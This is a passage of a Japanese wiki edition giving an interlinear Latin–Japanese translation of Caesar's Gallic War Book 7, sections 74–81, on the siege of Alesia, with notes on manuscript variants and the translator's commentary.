*quos stimulos nominabant.
**（将兵たちは）それらを刺と呼んだ。
{| class=&quot;wikitable&quot;
|-
! colspan=&quot;2&quot; | [[w:la:Obsidio Alesiae|Obsidio Alesiae]]
|-
| style=&quot;vertical-align:top; text-align:left; width:35em;&quot; |[[画像:Fortificazioni alesia png.png|thumb|left|500px|[[w:アレシアの戦い|アレシアの戦い]]における攻囲陣地の構成（図の説明はイタリア語）。]]
|}

===74節===
'''ガッリア人の来援に備えて、外周にも同様の塁壁を張り巡らす'''
*①　His rebus perfectis 
**これらの物が造り上げられると、
*regiones secutus quam potuit aequissimas pro loci natura 
**地勢に応じて、できるかぎり好都合な地帯を探し求めて、
*XIIII(quattuordecim) milia passuum complexus 
**14ローママイル（約21km）を取り巻いて、
*pares eiusdem generis munitiones, 
**（内周の塁壁と規模が）匹敵する同じ類いの塁壁を
*diversas ab his, contra exteriorem hostem perfecit, 
**これら（内周）に対置させて、外側の敵に対抗して造り上げた。
*ut ne magna quidem multitudine, si ita accidat equitatus&lt;ref&gt;equitatus はシェーラー（Schoeller）による修正提案で、写本(ω)では eius であるが、近代の校訂者たちにより修正提案がなされている。&lt;/ref&gt; discessu, 
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
**もし[[w:騎兵|騎兵隊]]の退去によりこのようなこと（外敵との遭遇）が生じても、決して大軍により
*munitionum praesidia circumfundi possent; 
**塁壁の守備隊が包囲されることができないように。
*②　&lt;ne&gt; autem&lt;ref&gt;ne autem は近代の校訂者による修正提案で、α系･π系写本では aut、ρ系写本では ut となっている。&lt;/ref&gt; cum periculo ex castris egredi cogatur, 
**（ローマ勢が）危険を伴って陣営から進発することを強いられることもないように、
*dierum XXX(triginta) pabulum frumentumque habere omnes convectum iubet.
**30日分の[[w:糧秣|秣(まぐさ)や穀物]]を運び集めて保持することを皆に命じた。

===75節===
'''ガッリア同盟が各部族に動員を要請する'''
*①　Dum haec apud&lt;ref&gt;apud はα系写本の記述で、β系写本では ad となっている。&lt;/ref&gt; [[w:la:Alesia|Alesiam]] geruntur, 
**これらが[[w:アレシア|アレスィア]]のもとで遂行されている間に、
*Galli concilio principum indicto 
**ガッリア人たちは、領袖たちの会合を課して、
*non omnes hos&lt;ref&gt;omnes hos はα系写本の記述で、β系写本では単に omnes となっている。&lt;/ref&gt; qui arma ferre possent, ut censuit [[w:la:Vercingetorix|Vercingetorix]], convocandos statuunt, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]が見積もったように武器を扱える者たち皆を召集するべき、ではないと判断した。
*sed certum numerum cuique ex civitate&lt;ref&gt;ex civitate はα系写本の記述で、β系写本では civitati となっている。&lt;/ref&gt; imperandum, 
**けれども、おのおのの部族から一定の兵数（の供出）を命令すること（を決めた）。
*ne tanta multitudine confusa nec moderari nec discernere suos nec frumentandi rationem&lt;ref&gt;frumentandi rationem はT･U･R写本などの記述で、V･U写本などでは frumenti rationem となっている。&lt;/ref&gt; habere possent. 
**これほどの大軍で混乱したり、味方を指揮できなかったり判別できなかったり、ということがないように。
*②　Imperant [[w:la:Haedui|Haeduis]] atque eorum clientibus, Segusiavis, Ambivaretis, Aulercis Brannovicibus, Blannoviis, milia XXXV(triginta quinque); 
**[[w:ハエドゥイ族|ハエドゥイー族]]とその庇護民であるセグスィアウィ族、アンビウァレティ族、アウレルキ・ブランノウィケス族、ブランノウィイ族に3万5千名を命令した。
*parem numerum Arvernis adiunctis Eleutetis, Cadurcis, Gabalis, Vellaviis, 
**[[w:アルウェルニ族|アルウェルニー族]]に隣接しているエレウテティ族、カドゥルキー族、ガバリ族、ウェッラウィイ族に同等の兵数。
*qui sub imperio Arvernorum esse consuerunt; 
**彼らはアルウェルニー族の支配下にいるのが常であった。
*③　Sequanis, Senonibus, Biturigibus, Santonis, Rutenis, Carnutibus duodena milia; 
**セクアニ族、セノネース族、ビトゥリゲース族、サントネス族、ルテーニー族、カルヌーテース族には1万2千ずつ。
*Bellovacis X(decem); totidem Lemovicibus; 
**ベッロウァキ族に1万。レモウィケス族に同じだけ多く（1万）。
*octona Pictonibus et Turonis et Parisiis et Helvetiis; 
**ピクトネス族とトゥロニ族とパリスィイ族と[[w:ヘルウェティイ族|ヘルウェティイ族]]に8(千)ずつ。
*Senonibus&lt;ref&gt;Senonibus は写本(ω)にある記述だが、sen&lt;a Suessi&gt;onibus「6(千)ずつをスエッスィオニス族…に」などさまざまな修正提案がなされている。&lt;/ref&gt;, Ambianis, Mediomatricis, Petrocoriis, Nerviis, Morinis, Nitiobrogibus quina milia; 
**セノネース族、アンビアニ族、メディオマトリキ族、ペトロコリイ族、ネルウィイ族、モリニ族、ニティオブロゲス族に5千ずつ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：Senonibus「セノネース族」は既出のためスエッスィオネス族などに書き替える修正提案がなされ、以下は校訂版によっては兵数がずれる。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;しかし、スエッスィオネス族 Suessiones は[[ガリア戦記 第2巻#12節|第2巻12節]]でレーミー族を通じてカエサルに降伏しており、&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;第8巻6節でも「レーミー族に委ねられていた」「同盟者」と記されているので、アレスィアには出兵していないであろう。）&lt;/span&gt;
*Aulercis Cenomanis totidem; Atrebatibus IIII; 
**アウレルキ・ケノマニ族に同じだけ多く（5千）。アトレバテス族に4(千)。
*Veliocassis, Lexoviis et Aulercis Eburovicibus terna; 
**ウェリオカッセス族、レクソウィイ族とアウレルキ・エブロウィケス族に3(千)ずつ。
*Rauracis et Boiis&lt;ref&gt;Boiis はα系写本の記述で、β系写本では Bois となっている。&lt;/ref&gt; bina; 
**ラウラキ族とボイイ族に2(千)ずつ。
*XXX&lt;ref&gt;XXX はα系写本の記述で、さまざまな修正提案がなされている。&lt;/ref&gt; milia universis civitatibus, quae Oceanum attingunt 
**&lt;ruby&gt;&lt;rb&gt;大洋&lt;span style=&quot;color:#009900;&quot;&gt;〔[[w:大西洋|大西洋]]〕&lt;/span&gt;&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オーケアヌス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に接する諸部族全体に3万。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この数は写本により異なっており、混乱している。）&lt;/span&gt;
*quaeque eorum consuetudine Aremoricae appellantur, 
**それらは、彼ら（ガッリア人）の慣習でアレモリカエと呼ばれており、
*quo sunt in numero Coriosolites, Redones, Ambibarii, Caletes, Osismi, Veneti, Lemovices, Unelli. 
**コリオソリテス族、レドネス族、アンビバリイ族、カレテス族、オスィスミ族、ウェネティ族、レモウィケス族、ウネッリ族がそれらに数えられる。
*⑤　Ex his Bellovaci suum numerum non compleverunt&lt;ref&gt;compleverunt はα系写本の記述で、β系写本では contulerunt となっている。&lt;/ref&gt;, 
**これらのうちで、ベッロウァキ族は、自分たちの（割り当てられた）数を満たさなかった。
*quod se suo nomine atque arbitrio cum Romanis bellum gesturos dicebant 
**というのは、彼らは自らの名と裁量でもってローマ人と交戦するであろうと言ったのだ。
*neque cuiusquam imperio obtemperaturos; 
**（自分たちは）何者の命令にも服従しないであろう、と。
*rogati tamen ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; Commio pro eius hospitio duo milia una miserunt.
**けれども、[[w:コンミウス|コンミウス]]の懇願により、彼を賓客としているために、2千名を一緒に送り出した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ベッロウァキ族は要求された兵数の5分の1しか出さなかったが、第8巻22節ではこの出兵をも含めてカエサルから責められる。）&lt;/span&gt;

===76節===
'''コンミウスもガッリア同盟軍に内応、約25万の大軍が集結'''
*①　Huius opera Commii, ut antea demonstravimus, fideli atque utili 
**前に述べたように、この[[w:コンミウス|コンミウス]]の信頼すべき有益な働きを
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[ガリア戦記 第4巻#21節|第4巻21節]]･[[ガリア戦記 第4巻#27節|27節]]･[[ガリア戦記 第4巻#35節|35節]]、[[ガリア戦記 第5巻#22節|第5巻22節]]、[[ガリア戦記 第6巻#6節|第6巻6節]]を参照。）&lt;/span&gt;
*superioribus annis erat usus in [[w:la:Britannia Maior|Britannia]] Caesar; 
**カエサルは先年（BC55～54年）に[[w:ブリタンニア|ブリタンニア]]において役立てていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：コンミウスは、[[w:ローマによるブリタンニア侵攻 (紀元前55年-紀元前54年)|カエサルのブリタンニア侵攻]]の先導役を務めていた。後にブリタンニアで王となる。）&lt;/span&gt;
*quibus ille pro meritis civitatem eius immunem esse iusserat, 
**彼（カエサル）はそれらの功績の見返りに、彼（コンミウス）の部族が免税となることを命じており、
*iura legesque reddiderat atque ipsi Morinos attribuerat. 
**権能や法度を元に戻してやり、（コンミウス）自身にモリニ族（の統治）をも委ねていた。
*②　Tamen tanta&lt;ref&gt;tamen tanta はα系写本の記述で、β系写本では tanta tamen となっている。&lt;/ref&gt; universae Galliae consensio fuit libertatis vindicandae et pristinae belli laudis recuperandae, 
**けれども、自主独立が求められるべきで、かつての戦争の誉れが取り戻されるべきだという、ガッリア全体の合意があった。
*ut neque beneficiis neque amicitiae memoria moverentur 
**その結果、（カエサルからの）厚遇にも友情の記憶にも揺り動かされず、
*omnesque et animo et opibus in id bellum incumberent. 
**（ガッリアの）皆が闘志によっても兵力によっても、その戦争に没頭していたのだ。
*③　Coactis equitum milibus VIII(octo) et peditum circiter CCL(ducenti quinquaginta)&lt;ref&gt;CCL はβ系写本の記述で、α系写本では CCXL または CCXXXX となっている。&lt;/ref&gt; 
**[[w:騎兵|騎兵]]8千騎と[[w:歩兵|歩兵]]およそ250(千)名が徴集されて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：歩兵の数は、β系写本では25万、α系写本では24万と異なっている。）&lt;/span&gt;
*haec in Haeduorum finibus recensebantur, numerusque inibatur, praefecti constituebantur. 
**これら（の軍勢）が[[w:ハエドゥイ族|ハエドゥイー族]]の領土で閲兵されて、数が見積もられて、指揮官たちが決められた。
*④　Commio Atrebati, Viridomaro et [[w:la:Eporedorix|Eporedorigi]] [[w:la:Haedui|Haeduis]], 
**アトレバテス族の[[w:コンミウス|コンミウス]]、ハエドゥイー族のウィリドマルスとエポレドリクス、
*[[w:la:Vercassivellaunus|Vercassivellauno]] Arverno, consobrino Vercingetorigis, summa imperii traditur. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の従兄弟である[[w:アルウェルニ族|アルウェルニー族]]のウェルカッスィウェッラウヌスに、最高司令権が託された。
*His delecti ex civitatibus attribuuntur, quorum consilio bellum administraretur. 
**彼らに、諸部族から選ばれた者たちが付与されて、その者たちの協議により戦争が指導された。
*⑤　Omnes alacres et fiduciae pleni ad [[w:la:Alesia|Alesiam]] proficiscuntur, 
**皆が、活気があって自身に満ち、[[w:アレシア|アレスィア]]へ向けて出発した。
*⑥　neque erat omnium quisquam qui adspectum modo tantae multitudinis sustineri posse arbitraretur, 
**これほどの大軍を一見しただけで持ちこたえられる者は、誰一人いないと思われた。
*praesertim ancipiti proelio, 
**とりわけ（内周と外周の）両面の戦闘で、
*cum ex oppido eruptione pugnaretur, foris tantae copiae equitatus peditatusque cernerentur.
**城塞都市からは出撃により戦われ、外からは騎兵と歩兵のこれほどの軍勢が視認されるのであるから。

===77節===
'''飢餓状態のアレスィアで、クリトグナトゥスが極論を唱える'''
*①　At ii qui [[w:la:Alesia|Alesiae]] obsidebantur 
**ところが、[[w:アレシア|アレスィア]]に包囲されていた者たちは、
*praeterita die qua auxilia suorum exspectaverant, 
**味方の援軍を待ち望んでいた日も経過して、
*consumpto omni frumento, 
**すべての糧食を消費し尽くして、
*inscii quid in [[w:la:Haedui|Haeduis]] gereretur, 
**[[w:ハエドゥイ族|ハエドゥイー族]]のところにおいて何がなされているのかを知らず、
*concilio coacto de exitu suarum fortunarum consultabant. 
**会合を召集して、自分たちの命運の結末について協議した。
*②　Ac variis dictis sententiis 
**そして、さまざまな意見が述べられた。
*quarum pars deditionem, 
**それらの一部は降伏を、
*pars dum vires suppeterent eruptionem censebat, 
**別の一部は、活動力が十分にある間に突撃することを考慮していた。
*non praetereunda oratio [[w:la:Critognatus|Critognati]] videtur propter eius singularem et nefariam crudelitatem. 
**クリトグナトゥスの演説は、彼の特異で非道な残酷さのために、看過されるべきではないと思われる。

&lt;br&gt;
'''クリトグナトゥスの演説が始まる'''
*③　Hic summo in Arvernis ortus loco et magnae habitus auctoritatis, 
**彼は、[[w:アルウェルニ族|アルウェルニー族]]において最高の身分に生まれ、大きな影響力を持つとみなされていた。

&lt;br&gt;
'''降伏論者は最低の輩だ'''
*&quot;Nihil&quot; inquit &quot;de eorum sententia dicturus sum, qui turpissimam servitutem deditionis nomine appellant, 
**「最も恥ずべき隷属を降伏という名で呼んでいる者たちの意見については、（私は）何も述べないであろう」と言った。
*neque hos habendos civium loco neque ad concilium adhibendos censeo. 
**「この者たちは市民の身分を持つべきではないし、会合へ招き入れられるべきでもない、と（私は）考える。

&lt;br&gt;
'''突撃論者には辛抱が欠けている'''
*④　Cum his mihi res sit, qui eruptionem probant; 
**突撃に賛同した者たちとともに、私の関わりはあるべきだ。
*quorum in consilio omnium vestrum consensu 
**その者たちの考えには、君たち皆の同意があるだろうし、
*pristinae residere virtutis memoria videtur. 
**かつての武勇の記憶が残っていることと思われる。
*⑤　Animi est ista mollitia, non virtus, paulisper inopiam ferre non posse. 
**しばらくの間も（糧食の）欠乏に耐えることができない（君らの）ことは、気の弱さであって、武勇ではない。
*Qui se ultro morti offerant facilius reperiuntur quam qui dolorem patienter ferant. 
**自発的に玉砕して逝った者たちは、苦痛に辛抱強く耐えた者たちよりも、より容易に見出されるのだ。
*⑥　Atque ego hanc sententiam probarem ─tantum apud me dignitas potest─, 
**しかし私は（突撃という）この意見に賛同したであろう。それほど、私にとっても価値がある。
*si nullam praeterquam vitae nostrae iacturam fieri viderem; 
**（ただし）もし、我々（ガッリア勢）の生命が投げ出されること以外に（方策が）何もないと思ったならばだ。
*⑦　sed in consilio capiendo omnem Galliam respiciamus, quam ad nostrum auxilium concitavimus. 
**けれども、作戦を立てるに当たっては、我々のために援軍を（我々が）呼び寄せた全ガッリアを顧慮しよう。
*⑧　Quid hominum milibus LXXX(octoginta) uno loco interfectis 
**（我々ガッリア勢）8万の人間が（アレスィア）1か所で殺戮されたら、
*propinquis consanguineisque nostris animi fore existimatis, 
**我々の親類縁者たちの士気はどうなると（君らは）判断しているのか。
*si paene in ipsis cadaveribus proelio decertare cogentur? 
**もし、ほとんど（我々）自身の亡骸の中で（味方が）決戦することを強いられたら？
*⑨　Nolite hos vestro auxilio exspoliare qui vestrae salutis causa suum periculum neglexerunt, 
**君らの身の安全のために、己の危険を顧みなかった者たちのことを、君らが援助すること（の機会）を奪わないでくれ。
*nec stultitia ac temeritate vestra aut animi imbecillitate omnem Galliam prosternere et perpetuae servituti subicere. 
**君らの愚かさや無思慮、または心の弱さによって、全ガッリアを滅ぼすことや永久の隷属に委ねることがないように。

&lt;br&gt;
'''ローマ人たちが恐れているのを見よ'''
*⑩　An quod ad diem non venerunt, de eorum fide constantiaque dubitatis? 
**それとも（援軍が）期日までにやって来なかったので、彼らの誠実さや剛直さについて（君らは）疑っているのか？
*Quid ergo? 
**それでは（あれは）何だ？
*Romanos in illis ulterioribus munitionibus animine causa cotidie exerceri putatis? 
**ローマ人たちがあの向こう側の塁壁のところで、趣味のために毎日たえず働かされていると（君らは）思うのか？
*⑪　Si illorum nuntiis confirmari non potestis omni aditu praesaepto, 
**もし、すべての出入口を（防柵で）遮られて、（援軍の到来を）彼らの伝令により（君らが）確証できないのならば、
*his utimini testibus adpropinquare eorum adventum, 
**こちらの者たち（ローマ人）を、彼ら（援軍）の到来が近づいている証人として示せ。
*cuius rei timore exterriti diem noctemque in opere versantur. 
**（援軍の到来という）その事態の恐れに戦慄して（ローマ人たちは）昼も夜も工事に従事しているのだ。

&lt;br&gt;
'''クリトグナトゥスの意見は？'''
*⑫　Quid ergo mei consilii est? 
**それでは、私の考えは何であるか？
*Facere quod nostri maiores nequaquam pari bello Cimbrorum Teutonumque fecerunt: 
**我々の先祖たちが（今回とは）決して比べものにならない[[w:キンブリ・テウトニ戦争|キンブリ族・テウトニ族との戦争]]でしたことをするのだ。
*qui in oppida compulsi ac simili inopia subacti 
**彼ら（先祖たち）は、[[w:オッピドゥム|城塞都市]]に押し込められて、（今回と）似たような欠乏により衰弱させられて、
*eorum corporibus, qui aetate ad bellum inutiles videbantur, vitam toleraverunt 
**加齢により戦争に役立たないと思われた者たちの肉体（を食べること）によって、生命を持ちこたえて、
*neque se hostibus tradiderunt. 
**敵方に降伏しなかったのだ。
*⑬　Cuius rei si exemplum non haberemus, 
**もし、そういう事態の先例を我々が持たなかったとしても、
*tamen libertatis causa institui et posteris prodi pulcherrimum iudicarem. 
**けれども、自由のために、最も栄誉なことが決断され、子孫たちに伝えられることと、私は思いたい。
*⑭　Nam quid illi simile bello fuit? 
**実際、あの戦争に（今回と）似ている何があっただろうか？
*Depopulata Gallia Cimbri magnaque inlata calamitate 
**キンブリ族はガッリアを荒らしまわって、大きな災禍をもたらしたが、
*finibus quidem nostris aliquando excesserunt atque alias terras petierunt; 
**あるとき我々の領土から立ち去って、他の土地を求めて行った。
*iura, leges, agros, libertatem nobis reliquerunt. 
**権限、法度、耕地、自由を我々（ガッリア人）に残して行ったのだ。
*⑮　Romani vero quid petunt aliud aut quid volunt 
**しかし、ローマ人たちは（以下に挙げることの）他に何を求め、何を欲しているのだろうか。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：「しかし、ローマ人が求め、欲しているのは、以下のことである」の意。）&lt;/span&gt;
*nisi invidia adducti quos fama nobiles potentesque bello cognoverunt, 
**高貴で戦争に力強い（ガッリアの）者たちを名声で知って羨望に駆られた以外には、
*horum in agris civitatibusque considere atque his aeternam iniungere servitutem? 
**彼らの土地や部族共同体に居座って、彼らを永遠の隷属を課すること以外には。
*Neque enim ulla alia condicione bella gesserunt. 
**実際、（ローマ人は）他のいかなる条件でも決して戦争を遂行したことがなかった。
*⑯　Quodsi ea quae in longinquis nationibus geruntur ignoratis, 
**もし、遠方の種族のところでなされていることを（君らが）知らないのであれば、
*respicite finitimam Galliam, 
**ガッリアの隣人たちを見渡しなさい。
*quae in provinciam redacta, 
**（彼らはローマの）[[w:属州|属州]]になることを余儀なくされ、
*iure et legibus commutatis, 
**権限や法度を変えられて、
*securibus subiecta perpetua premitur servitute.&quot;
**（ローマの）権力に服属させられて、永久の隷属に苦しめられているのだ。

===78節===
'''マンドゥビイ族の投降をカエサルが拒む'''
*①　Sententiis dictis 
**（いくつかの）意見が述べられて、
*constituunt ut ii, qui valetudine aut aetate inutiles sunt&lt;ref&gt;sunt はα系写本の記述で、β系写本では sint となっている。&lt;/ref&gt; bello, oppido excedant 
**（ガッリア人たちは）健康または年齢により戦争に役立たない者たちは[[w:オッピドゥム|城塞都市]]を退去するように決めた。
*atque omnia prius experiantur quam ad Critognati sententiam descendant; 
**さらに、クリトグナトゥスの意見に同意するよりも、まずあらゆることを試みるように（決めた）。
*②　illo tamen potius utendum consilio, 
**けれども（以下の場合には）むしろ彼（クリトグナトゥス）の意見を実行するべきだ。
*si res cogat atque auxilia morentur, 
**もし、事態が強いて、援軍が遅滞させられるのならば、
*quam aut deditionis aut pacis subeundam condicionem. 
**降伏あるいは講和条件を受諾することよりも（クリトグナトゥスの意見を実行するべきだ）、と。
*③　Mandubii qui eos oppido receperant, 
**彼ら（ガッリア勢）を城塞都市に受け入れていたマンドゥビイ族は、
*cum liberis atque uxoribus exire coguntur. 
**子供たちや妻女たちとともに（城塞都市から）出て行くことを強いられた。
*④　Hi cum ad munitiones Romanorum accessissent, 
**彼らは、ローマ人たちの塁壁のところへ近づいたときに、
*flentes omnibus precibus orabant, ut se in servitutem receptos cibo iuvarent. 
**自分たちを奴隷として受け入れて食糧で助けてくれるように、泣きながらあらゆる懇願で頼んだ。
*⑤　At Caesar dispositis in vallo custodibus&lt;ref&gt;custodibus はα系写本の記述で、β系写本では custodiis となっている。&lt;/ref&gt; recipi prohibebat.
**だが、カエサルは、防柵の中に番兵を分けて置き、（マンドゥビイ族を）受け入れることを禁じた。

===79節===
'''ガッリア同盟軍の来援、アレスィアの歓呼'''
*①　Interea Commius reliquique duces, quibus summa imperii permissa erat, 
**その間に、最高司令権を任されていた[[w:コンミウス|コンミウス]]とほかの将帥たちが、
*cum omnibus copiis ad Alesiam perveniunt 
**すべての軍勢とともに[[w:アレシア|アレスィア]]の辺りへ到着して、
*et colle exteriore occupato 
**より外側の丘陵を占拠して、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：現在のミュスィ＝ラ＝フォス村 [[w:fr:Mussy-la-Fosse|Mussy-la-Fosse]]&lt;ref&gt;[http://maps.google.com/maps?q=47.521944,4.438611&amp;hl=fr&amp;ie=UTF8&amp;ll=47.522012,4.438648&amp;spn=0.01849,0.027423&amp;t=h&amp;z=15 Google map]を参照。&lt;/ref&gt; のある丘陵であると思われる。）&lt;/span&gt;
*non longius mille passibus ab nostris munitionibus considunt. 
**我が方（ローマ勢）の塁壁から1ローママイル（約1.5km）ほども遠くないところに陣取った。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：現在のヴナレ＝レ＝ローム [[w:fr:Venarey-les-Laumes|Venarey-les-Laumes]] 市街&lt;ref&gt;[http://maps.google.com/maps?q=47.542778,4.445833&amp;hl=fr&amp;ie=UTF8&amp;ll=47.543106,4.458475&amp;spn=0.036965,0.054846&amp;t=h&amp;z=14 Google map]を参照。&lt;/ref&gt;の周辺であると思われる。）&lt;/span&gt;
*②　Postero die equitatu ex castris educto 
**翌日に、[[w:騎兵|騎兵隊]]が陣営から進発させられて、
*omnem eam planitiem quam in longitudinem milia passuum III(tria)&lt;ref&gt;milia passuum III はβ系写本の記述で、α系写本では quattuor milia passuum などとなっている。&lt;/ref&gt; patere demonstravimus, complent 
**3ローママイル（約4.5km）の長さにわたり広がっていることを既述した平地のすべてを、満たした。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#69節|69節]]を参照。現在のローム平原に当たると思われる。）&lt;/span&gt;
*pedestresque copias paulum ab eo loco abditas in locis superioribus constituunt. 
**[[w:歩兵|歩兵]]の軍勢を、その地からいくらか遠ざけて、より高いところに駐留させた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：上記の丘陵のより高い所であると思われる。）&lt;/span&gt;
*③　Erat ex oppido Alesia despectus in campum. 
**アレスィアの[[w:オッピドゥム|城塞都市]]からは（その）平地に眺望があった。
*Concurrunt&lt;ref&gt;concurrunt はα系写本の記述で、β系写本では concurritur となっている。&lt;/ref&gt; his auxiliis visis; 
**これらの援軍が現われると（アレスィアのガッリア人たちは）群がり集まった。
*fit gratulatio inter eos 
**彼らの間で祝賀がなされて、
*atque omnium animi ad laetitiam excitantur. 
**皆の心が喜びへと鼓舞された。
*④　Itaque productis copiis ante oppidum considunt 
**こうして（アレスィアの）軍勢が出撃させられて、城塞都市の前に陣取って、
*et proximam fossam cratibus integunt atque aggere explent 
**最も近い堀を、柴で蔽って、土砂を充満させて、
*seque ad eruptionem atque omnes casus comparant.
**突撃やあらゆる有事に戦備を整えた。

===80節===
'''ゲルマニア騎兵らローマ勢が来援ガッリア騎兵をも打ち破る'''
*①　Caesar omni exercitu ad utramque partem munitionum&lt;ref&gt;munitionum はα系写本の記述で、β系写本では munitionis となっている。&lt;/ref&gt; disposito, 
**カエサルは、すべての[[w:歩兵|歩兵隊]]を、塁壁の（内周と外周）両側に分けて置き、
*ut, si usus veniat, suum quisque locum teneat et noverit, 
**もし、必要が生じたら、おのおのが自らの部署を知って固守するようにした。
*equitatum ex castris educi et proelium committi iubet. 
**[[w:騎兵|騎兵隊]]を陣営から進発させて、交戦することを命じた。
*②　Erat ex omnibus castris, quae summum undique iugum tenebant, despectus 
**至る所で尾根の頂きを占めていた（ローマ勢の）すべての陣営から（騎兵戦の）眺望があった。
*atque omnes milites intenti&lt;ref&gt;intenti はα系写本の記述で、β系写本では intenti animi、Fuchs は intentis animis と修正提案している。&lt;/ref&gt; pugnae proventum&lt;ref&gt;pugnae proventum はα系写本の記述で、β系写本では proventum pugnae となっている。&lt;/ref&gt; exspectabant. 
**すべての兵士たちは（観戦に）没頭して、戦いの結果を待っていた。
*③　Galli inter equites raros sagittarios expeditosque levis armaturae interiecerant, 
**ガッリア人たちは、弓兵たちと軽装歩兵たちをまばらに、騎兵たちの間に置いていて、
*qui suis cedentibus auxilio succurrerent 
**その者たち（弓兵と軽装歩兵）は、味方が後退するのを支援するために馳せ寄って、
*et nostrorum equitum impetus sustinerent. 
**我が方（ローマ勢）の騎兵の突撃に持ちこたえていた。
*Ab his complures de improviso vulnerati proelio excedebant. 
**彼らによって（ローマ側騎兵の）かなりの者たちが、思いがけず負傷させられて、戦闘から退いた。
*④　Cum suos pugna superiores esse Galli confiderent 
**ガッリア人たちが、味方が戦いで優勢であることを確信したとき、
*et nostros multitudine premi viderent, 
**かつ、我が方（ローマ勢）が多勢（のガッリア騎兵）により圧倒されているのを見て取ったときに、
*ex omnibus partibus et ii qui munitionibus continebantur 
**あらゆる方面から（ローマ勢の）塁壁によって囲まれていた者たちも、
*et hi&lt;ref&gt;hi はφ系･β系写本の記述で、χ系写本では ii となっている。&lt;/ref&gt; qui ad auxilium convenerant 
**（アレスィア）救援のために集結して来ていた者たちも、
*clamore et ululatu suorum animos confirmabant. 
**大声やわめき声によって味方の闘志を強めた。
*⑤　Quod in conspectu omnium res gerebatur 
**（両軍の）皆の環視の中で合戦が遂行されたので、
*neque recte ac&lt;ref&gt;ac はα系･π系写本の記述で、ρ系写本では aut となっている。&lt;/ref&gt; turpiter factum celari poterat, 
**立派な行為または見苦しい行為も隠されることができなかったので、
*utrosque et laudis cupiditas et timor ignominiae ad virtutem excitabant&lt;ref&gt;excitabant はB･M･L･N･R写本などの記述で、χ系･B･S･π系･U写本などでは excitabat となっている。&lt;/ref&gt;. 
**賞賛への功名心も、不名誉への恐れも、双方を武勇へと駆り立てた。
*⑥　Cum a meridie prope ad solis occasum dubia victoria pugnaretur, 
**正午から、ほぼ日没の頃まで、勝利が不確実なまま戦われていたときに、
*Germani una in parte confertis turmis 
**ゲルマニア人たちが、騎兵部隊を一か所に密集させて、
*in hostes impetum fecerunt eosque propulerunt; 
**敵方に突撃を行ない、彼ら（ガッリア騎兵）を駆逐した。
*⑦　quibus in fugam coniectis 
**その者たち（ガッリア騎兵）は逃亡に追いやられて、
*sagittarii circumventi interfectique sunt. 
**弓兵たちは包囲されて殺戮された。
*⑧　Item ex reliquis partibus nostri cedentes usque ad castra insecuti 
**我が方（ローマ勢）の残りの部隊も、撤退する（ガッリア騎兵の）者たちを陣営のところまで追撃して、
*sui colligendi facultatem non dederunt. 
**立ち直る機会を与えなかった。
*⑨　At ii qui ab [[w:la:Alesia|Alesia]] processerant, 
**そして、[[w:アレシア|アレスィア]]から進み出ていた者たちは、
*maesti prope victoria desperata se in oppidum receperunt.
**ほとんど絶望的な勝利に悲嘆して、城塞都市に退却した。

===81節===
'''ガッリア来援軍と籠城軍がローマ陣地に夜襲をしかける'''
*①　Uno die intermisso Galli 
**ガッリア人たちは一日を間に置いて、
*atque hoc spatio magno cratium, scalarum, harpagonum numero effecto 
**この間に、多数の柴、[[w:梯子|梯子]]、鉤竿を調達して、
*media nocte silentio ex castris egressi 
**真夜中に静けさのうちに陣営から進発して、
*ad campestres munitiones accedunt. 
**平地の（ローマ勢の）塁壁の辺りへ近づいた。
*②　Subito clamore sublato, qua significatione 
**突然に雄叫びを上げて、それを合図として、
*qui in oppido obsidebantur de suo adventu cognoscere possent, 
**[[w:オッピドゥム|城塞都市]]の中に包囲されている者たちが、自分たちの到来について認識できるようにした。
*crates proicere, fundis, sagittis, lapidibus nostros de vallo proturbare 
**柴を投げ込み、投石器で、矢で、石でもって我が方（ローマ勢）を防柵から追い出すこと、
*reliquaque quae ad oppugnationem pertinent parant administrare. 
**（塁壁の）攻略のために役立つほかのことに従事すること、を目論んだ。
*③　Eodem tempore clamore exaudito 
**同時に（来援軍の）雄叫びを聞き取って、
*dat tuba signum suis [[w:la:Vercingetorix|Vercingetorix]] atque ex oppido educit. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、麾下の者たちにラッパで指図を与えて、城塞都市から進発させた。
*④　Nostri, ut superioribus diebus, suus cuique&lt;ref&gt;suus cuique はβ系写本の記述で、χ系･B･M･S写本では ut cuique となっている。&lt;/ref&gt; erat locus attributus, ad munitiones accedunt; 
**我が方（ローマ勢）は、以前の日々に、おのおのの部署が割り当てられており、塁壁のところへ近寄った。
*fundis librilibus sudibusque, quas in opere disposuerant, ac glandibus Gallos proterrent. 
**堡塁に分配されていたポンド投石器や杭、並びに玉によって、ガッリア人たちを追い払った。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：librilis funda「ポンド投石器」；古代ローマの1ポンド [[w:la:Libra pondus|libra]] は約327グラム&lt;ref&gt;[[w:en:Ancient Roman units of measurement#Weight]]を参照。&lt;/ref&gt;。）&lt;/span&gt;
*⑤　Prospectu tenebris adempto multa utrimque vulnera accipiuntur. 
**眺望が暗闇により奪われて、双方が多くの傷を蒙った。
*Complura tormentis tela coniciuntur. 
**かなり多くの飛び道具が（巻上式）投石機によって投じられた。
